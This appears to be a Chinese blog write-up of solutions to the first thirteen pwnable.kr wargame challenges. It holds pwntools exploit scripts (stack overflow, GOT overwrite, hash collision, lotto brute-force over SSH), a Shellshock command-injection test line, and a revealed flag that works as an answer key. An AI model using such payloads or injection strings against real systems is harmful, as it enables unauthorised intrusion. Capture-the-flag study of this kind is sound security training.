pwnable.kr做题笔记(一)
目录
[ 第十三题-lotto](# 第十三题-lotto)
第一题-fd
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;
}很简单的题目,根据源码可以知道fd=0,就可以输入buf的值。然后再输入LETMEWIN\n便可以getflag。

后面加的4660也就是0x1234。直接传入参数就完事了。
第二题-col
查看源码
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}
int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }
        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}可以看到关键就在于

简单分析一下check_password函数就可以知道,其实就是那五个数想加等于0x21DD09EC。

但需要考虑,值不能超过20个字符啥的。也很简单,给他除以5除不尽。剩下的分一下就行。
def exp(): 
    pl = p32(0x6c5cec8) * 4 + p32(0x6c5cecc)
    p = io.process(executable='./col', argv=['col',pl])
    flag = p.recv()
    log.info(f"FLag={flag}")
    p.close()
    io.close()
exp()
io.interactive()
第三题-bof
这题才算(个人认为)pwn题吧。

下载附件,查看很简单。一看就是栈溢出。

动态调试一下,offset是多少吧。
可以看到第一个参数的位置是在这里的,0xffffcfc0

可以看到overflowme是从0xffffcf8c开始的。所以可以得到offset=0x34

def exp(): 
    pl = cyclic(0x34) + p32(0xcafebabe)
    sl(pl)
    
exp()
io.interactive()getshell

第四题-flag
他自己都说是逆向题。

直接查壳,发现是upx。直接脱壳

再放进ida里面查看字符表,直接找到flag

第五题-passcode
直接放进ida里面,发现漏洞。这个两个应该使用的是地址而不是变量,类似于fmt。所以想着覆盖吧。前面输入了一次name,可以溢出


通过动态调试可以看到


发现name和v1的offset=0x60。检查保护,可以改got表

接下来就是正常的直接把printfgot表改掉就行了。

def exp(): 
    pl = b'a'*96+ p32(0x804A000)
    sl(pl)
    hack = str(0x80485e3)
    sl(hack)
    flag = io.recvall()
    log.info(f"flag={flag}")
    io.close()
    s.close()
    # io.close()
exp()
io.interactive()第六题-random
随机数,这个没给种子,但默认是0或者1,直接gdb调试看看第一次值是多少就好啦


def exp(): 
    
    v5 = 0x6b8b4567
    v4 = v5^(0xDEADBEEF)
    sl(str(v4).encode())
    flag = io.recvall()
    log.info(f"flag+{flag}")
    io.close()
    s.close()
    # io.close()
exp()
io.interactive()第七题-input2
这题感觉就是过滤+网络编程,只能说有点难度,网上很多解释我这里不多说
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
  printf("Welcome to pwnable.kr\n");
  printf("Let's see if you know how to give input to program\n");
  printf("Just give me correct inputs then you will get the flag :)\n");
  // argv
  if(argc != 100) return 0;
  if(strcmp(argv['A'],"\x00")) return 0;
  if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
  printf("Stage 1 clear!\n");	
  // stdio
  char buf[4];
  read(0, buf, 4);
  if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
  read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
  printf("Stage 2 clear!\n");
  
  // env
  if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
  printf("Stage 3 clear!\n");
  // file
  FILE* fp = fopen("\x0a", "r");
  if(!fp) return 0;
  if( fread(buf, 4, 1, fp)!=1 ) return 0;
  if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
  fclose(fp);
  printf("Stage 4 clear!\n");	
  // network
  int sd, cd;
  struct sockaddr_in saddr, caddr;
  sd = socket(AF_INET, SOCK_STREAM, 0);
  if(sd == -1){
    printf("socket error, tell admin\n");
    return 0;
  }
  saddr.sin_family = AF_INET;
  saddr.sin_addr.s_addr = INADDR_ANY;
  saddr.sin_port = htons( atoi(argv['C']) );
  if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
    printf("bind error, use another port\n");
    		return 1;
  }
  listen(sd, 1);
  int c = sizeof(struct sockaddr_in);
  cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
  if(cd < 0){
    printf("accept error, tell admin\n");
    return 0;
  }
  if( recv(cd, buf, 4, 0) != 4 ) return 0;
  if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
  printf("Stage 5 clear!\n");
  // here's your flag
  system("/bin/cat flag");	
  return 0;
}就一步步慢慢过就行,但是我当时遇到个问题,就是他本地不可以创建文件,就很烦。然后看了看网上的文章说可以上传到/tmp目录,但是呢!!!没找到人怎么上传,所以我在这里声明一下,省去读者查找,前面是本地需要上传的文件,后面是上传到服务器的路径。(shell我自己创建的目录)

最后gcc编译一下,再软链接一下就好了。打过pwn.college的人应该知道。
ln -s /home/input2/flag flag最后得到flag!

第八题-leg
这题是个异架构汇编题,但考的很简单
#include <stdio.h>
#include <fcntl.h>
int key1(){
  asm("mov r3, pc\n");
}
int key2(){
  asm(
  "push	{r6}\n"
  "add	r6, pc, $1\n"
  "bx	r6\n"
  ".code   16\n"
  "mov	r3, pc\n"
  "add	r3, $0x4\n"
  "push	{r3}\n"
  "pop	{pc}\n"
  ".code	32\n"
  "pop	{r6}\n"
  );
}
int key3(){
  asm("mov r3, lr\n");
}
int main(){
  int key=0;
  printf("Daddy has very strong arm! : ");
  scanf("%d", &key);
  if( (key1()+key2()+key3()) == key ){
    printf("Congratz!\n");
    int fd = open("flag", O_RDONLY);
    char buf[100];
    int r = read(fd, buf, 100);
    write(0, buf, r);
  }
  else{
    printf("I have strong leg :P\n");
  }
  return 0;
}从源码中可以看出来就是算出来那三个key就完事了。
有一个leg.asm文件,这里直接放到文本编辑器打开就可以了。寄存器都是r开头多,就是arm架构下的
(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>:	push	{r4, r11, lr}
   0x00008d40 <+4>:	add	r11, sp, #8
   0x00008d44 <+8>:	sub	sp, sp, #12
   0x00008d48 <+12>:	mov	r3, #0
   0x00008d4c <+16>:	str	r3, [r11, #-16]
   0x00008d50 <+20>:	ldr	r0, [pc, #104]	; 0x8dc0 <main+132>
   0x00008d54 <+24>:	bl	0xfb6c <printf>
   0x00008d58 <+28>:	sub	r3, r11, #16
   0x00008d5c <+32>:	ldr	r0, [pc, #96]	; 0x8dc4 <main+136>
   0x00008d60 <+36>:	mov	r1, r3
   0x00008d64 <+40>:	bl	0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:	bl	0x8cd4 <key1>
   0x00008d6c <+48>:	mov	r4, r0
   0x00008d70 <+52>:	bl	0x8cf0 <key2>
   0x00008d74 <+56>:	mov	r3, r0
   0x00008d78 <+60>:	add	r4, r4, r3
   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3
   0x00008d88 <+76>:	ldr	r3, [r11, #-16]
   0x00008d8c <+80>:	cmp	r2, r3
   0x00008d90 <+84>:	bne	0x8da8 <main+108>
   0x00008d94 <+88>:	ldr	r0, [pc, #44]	; 0x8dc8 <main+140>
   0x00008d98 <+92>:	bl	0x1050c <puts>
   0x00008d9c <+96>:	ldr	r0, [pc, #40]	; 0x8dcc <main+144>
   0x00008da0 <+100>:	bl	0xf89c <system>
   0x00008da4 <+104>:	b	0x8db0 <main+116>
   0x00008da8 <+108>:	ldr	r0, [pc, #32]	; 0x8dd0 <main+148>
   0x00008dac <+112>:	bl	0x1050c <puts>
   0x00008db0 <+116>:	mov	r3, #0
   0x00008db4 <+120>:	mov	r0, r3
   0x00008db8 <+124>:	sub	sp, r11, #8
   0x00008dbc <+128>:	pop	{r4, r11, pc}
   0x00008dc0 <+132>:	andeq	r10, r6, r12, lsl #9
   0x00008dc4 <+136>:	andeq	r10, r6, r12, lsr #9
   0x00008dc8 <+140>:			; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:			; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:	andeq	r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
End of assembler dump.
(gdb) 对照哪个源码分析。
直接让gpt分析什么意思吧,本人是个菜鸡所以汇编不太熟
当然,以下是对每个函数的详细分析,包括每一条汇编指令的作用。
### 函数
main```assembly
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ;instruction: 0x0006a4b0 
0x00008dcc <+144>: ;instruction: 0x0006a4bc 
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
```\1.
push {r4, r11, lr}
- 将r4,r11, 和lr寄存器的值压入栈中,用于保存函数调用前的状态。\2.
add r11, sp, #8
- 设置r11为当前栈指针加上 8。这通常是为了创建一个新的帧指针(frame pointer)。\3.
sub sp, sp, #12
- 为局部变量分配空间,栈指针sp向下移动 12 字节。\4.
mov r3, #0
- 将 0 赋值给寄存器r3。\5.
str r3, [r11, #-16]
- 将r3的值(0)存储到r11指向的位置的偏移量 -16 处。\6.
ldr r0, [pc, #104]
- 从程序计数器pc加 104 字节的地址处加载值到r0。这通常是用于访问代码中的常量或数据。\7.
bl 0xfb6c <printf>
- 调用printf函数,bl指令用于分支并链接,保存返回地址到链接寄存器lr。\8.
sub r3, r11, #16
- 计算r11减去 16,结果存入r3。\9.
ldr r0, [pc, #96]
- 从程序计数器pc加 96 字节的地址处加载值到r0。\10.
mov r1, r3
- 将r3的值复制到r1。\11.
bl 0xfbd8 <__isoc99_scanf>
- 调用scanf函数,r0和r1作为参数传递。\12.
bl 0x8cd4 <key1>
- 调用key1函数。\13.
mov r4, r0
- 将key1函数返回值存储到r4。\14.
bl 0x8cf0 <key2>
- 调用key2函数。\15.
mov r3, r0
- 将key2函数返回值存储到r3。\16.
add r4, r4, r3
- 将r4和r3的值相加,结果存回r4。\17.
bl 0x8d20 <key3>
- 调用key3函数。\18.
mov r3, r0
- 将key3函数返回值存储到r3。\19.
add r2, r4, r3
- 将r4和r3的值相加,结果存回r2。\20.
ldr r3, [r11, #-16]
- 从r11指向的位置的偏移量 -16 处加载值到r3。\21.
cmp r2, r3
- 比较r2和r3的值。\22.
bne 0x8da8 <main+108>
- 如果r2和r3不相等,跳转到0x8da8地址处。\23.
ldr r0, [pc, #44]
- 从程序计数器pc加 44 字节的地址处加载值到r0。\24.
bl 0x1050c <puts>
- 调用puts函数。\25.
ldr r0, [pc, #40]
- 从程序计数器pc加 40 字节的地址处加载值到r0。\26.
bl 0xf89c <system>
- 调用system函数。\27.
b 0x8db0 <main+116>
- 无条件跳转到0x8db0地址处。\28.
ldr r0, [pc, #32]
- 从程序计数器pc加 32 字节的地址处加载值到r0。\29.
bl 0x1050c <puts>
- 再次调用puts函数。\30.
mov r3, #0
- 将 0 赋值给r3。\31.
mov r0, r3
- 将r3的值复制到r0。\32. **`sub sp, r11
但其实看不看得懂都不影响做题,只要知道那种函数再arm下返回值都是r0寄存器存储的,
key1,0x8cdc+8=0x8CE4

key2,0x00008d04 + 8 + 4 = 0x00008d0c

key3,其中lr是返回地址,所以就是0x8d80


最后将他们三个数相加得到key=108400

第九题-mistake
有后门,直接看xor函数吧。

就是与1异或,直接输入十个1然后异或结果就是十个0。

getshell


第十题-shellshock
看一下源码就知道该怎么写了,其实。可以看到直接调用bash了。
直接使用
env x='() { :;}; echo TEST' ./bash -c :证明它存在。

第十一题-coin1
这题,全英文用gpt帮我理解一下
要解决这个问题,你需要在有限的称量次数内找到那枚伪造的硬币。这个问题考验的是你的逻辑推理能力和优化称量策略的能力。通常情况下,使用**二分法**(或分组策略)是解决这种称量问题的最佳方法之一。
### 解决步骤:
1. **初始条件**:你有 `N` 枚硬币,并且有 `C` 次称量机会。
2. **分组称量**:
   - 每次称量时,你将硬币分成两组来称量(或者更多组,如果 N 很大)。
   - 通过比较每组的总重量,你可以确定哪一组可能包含假币。
3. **减少搜索范围**:
   - 每次称量后,你可以缩小可能包含假币的硬币数量。
   - 继续将包含假币的那一组再分组称量,直到找出假币。
### 例子演示:
假设有 `8` 枚硬币,且你有 `3` 次称量机会 (`N=8, C=3`)。
**第一次称量**:
- 把硬币分成两组,分别是 `0-3` 和 `4-7`。
- 选择 `0, 1, 2, 3` 四枚硬币称量,记下它们的总重量。
  - 如果总重量为 `40`(每枚硬币都是真币),那么假币在 `4-7` 中。
  - 如果总重量为 `39`,那么假币在 `0-3` 中。
**第二次称量**:
- 假设第一轮后怀疑假币在 `4-7` 中,再将 `4-7` 分成两组,`4, 5` 和 `6, 7`。
- 选择 `4, 5` 称量。
  - 如果总重量为 `20`,那么假币在 `6, 7` 中。
  - 如果总重量为 `19`,那么假币在 `4, 5` 中。
**第三次称量**:
- 选择最后一组中的单个硬币进行称量即可确认假币是哪一个。
### 通用策略:
- 每次称量后都将剩下的硬币数量减半,以最大化信息获取。
- 这个过程会随着硬币数量的减少而逐步缩小搜索范围,直到找到伪造的硬币。
### 数学分析:
在最坏情况下,解决该问题所需的最大称量次数 `C` 满足以下条件:
\[
2^C \geq N
\]
这意味着 `C` 次称量可以处理最多 `2^C` 枚硬币。
### 总结:
通过将硬币分组称量,你可以在有限的称量次数内逐步缩小假币所在的范围,最终确定那枚伪造的硬币。这是一种典型的分而治之的策略。直接随便开一个机子,然后在/tmp里面创建一个py脚本打本地就行。
# python(2) solve.py
from pwn import *
import re
p = remote('localhost', 9007)
print(p.recv())
for i in range(100):
  N, C = re.findall("N=(\d+) C=(\d+)", p.recv())[0]
  N = int(N)
  C = int(C)
  print(N, C)
  start, end = 0, N-1
  while start <= end and C > 0:
    mid = (start + end) // 2
    x = " ".join([str(j) for j in range(start, mid+1)])	# build range list
    p.sendline(x)
    
    res = int(p.recvline()[:-1])
    if res % 10 == 0:
      start = mid+1	# through first half
    else:
      end = mid-1		# through second half
    C -= 1
  while C > 0:	# use all the tries
    p.sendline("0")
    p.recv(1024)
    C -= 1
  p.sendline(str(start))	# final answer
  print(p.recv())
print(p.recv())第十二题-blackjack
这题好像是让我赚钱,没看懂随便写点数,就给他打通了。
$ nc pwnable.kr 9009
222 111 222 222 11111 222 222 11 111 222 111 222 111CCCCC SS DD HHHHH C C
C C SS D D H H C C
C C SS D D H C C
CCCCC SS D DD D H C C
C C SS D DDDD D H CC C
C C SS D D H C C
C C SS D D H H C C
CCCCCC SSSSSSS D D HHHHH C C 21
 DDDDDDDD HH CCCCC S S
 DD H H C C S S
 DD H H C S S
 DD H HH H C S S
 DD H HHHH H C SS S
 DD H H C S S
 D DD H H C S S C
 DDD H H CCCCC S S 222 111
 222 111
 222 111
 222222222222222 111111111111111
 2222222222222222 11111111111111111Are You Ready? \---------------- (Y/N) yEnter 1 to Begin the Greatest Game Ever Played.
Enter 2 to See a Complete Listing of Rules.
Enter 3 to Exit Game. (Not Recommended)
Choice: 1Cash: $500
-——
|S |
| 6 |
| S|
-——Your Total is 6
The Dealer Has a Total of 8
Enter Bet: $111111111111
Would You Like to Hit or Stay?
Please Enter H to Hit or S to Stay.
sYou Have Chosen to Stay at 6. Wise Decision!
The Dealer Has a Total of 11
The Dealer Has a Total of 14
The Dealer Has a Total of 17
Dealer Has the Better Hand. You Lose.You have 0 Wins and 1 Losses. Awesome!
Would You Like To Play Again?
Please Enter Y for Yes or N for No
y
YaY_I_AM_A_MILLIONARE_LOLCash: $558039085
-——
|H |
| K |
| H|
-——Your Total is 10
The Dealer Has a Total of 5
Enter Bet: $
应该是有溢出点,然后估计就是机组的知识了。

第十三题-lotto
可以看到外层只要一次被命中,里层就执行6次正好满足条件了。他输的ascii要是1-45.

随便找一个吧

exp,如果本地打的很慢,可以上传到服务器上打。
from pwn import *
context.log_level = "debug"
sh = ssh('lotto', 'pwnable.kr', password='guest', port=2222)
io = sh.process(executable='./lotto')
for i in range(10000):
  io.recv()
  io.sendline('1'.encode())
  io.recv()
  io.sendline('!!!!!!'.encode())
  _ , ans = io.recvlines(2)
  
  if "bad" not in ans.decode():
    log.success(ans.decode())
    break最后得到flag
